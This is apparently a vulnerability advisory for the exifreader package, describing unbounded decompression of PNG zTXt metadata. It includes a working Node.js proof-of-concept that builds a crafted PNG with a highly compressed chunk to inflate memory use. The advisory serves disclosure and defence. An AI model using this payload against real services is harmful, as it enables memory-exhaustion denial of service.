Improper Handling of Highly Compressed Data (Data Amplification) Affecting exifreader package, versions <4.39.0

exifreader is a Library that parses Exif metadata in images.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) due to decompressing PNG zTXt metadata without enforcing a built-in maximum decompressed output size. When asynchronous parsing is enabled, a crafted PNG file containing a highly compressed zTXt chunk can cause ExifReader to materialize a disproportionately large Comment value in memory.

import { deflateSync } from 'node:zlib'
import ExifReader from 'exifreader'

const MiB = 1024 * 1024

function chunk(type, data = Buffer.alloc(0)) {
  const out = Buffer.alloc(12 + data.length)
  out.writeUInt32BE(data.length, 0)
  out.write(type, 4, 'ascii')
  data.copy(out, 8)
  out.writeUInt32BE(0, 8 + data.length)
  return out
}

async function run(configuredMiB) {
  const compressed = deflateSync(Buffer.alloc(configuredMiB * MiB, 0x41), {
    level: 9
  })

  const png = Buffer.concat([
    Buffer.from('89504e470d0a1a0a', 'hex'),
    chunk('IHDR', Buffer.from('00000001000000010806000000', 'hex')),
    chunk('zTXt', Buffer.concat([
      Buffer.from('Comment\0', 'latin1'),
      Buffer.from([0x00]),
      compressed
    ])),
    chunk('IEND')
  ])

  const tags = await ExifReader.load(png, { async: true })

  console.log({
    configuredMiB,
    pngInputBytes: png.length,
    commentLength: tags.Comment.value.length
  })
}

for (const configuredMiB of [32, 64, 128]) {
  await run(configuredMiB)
}

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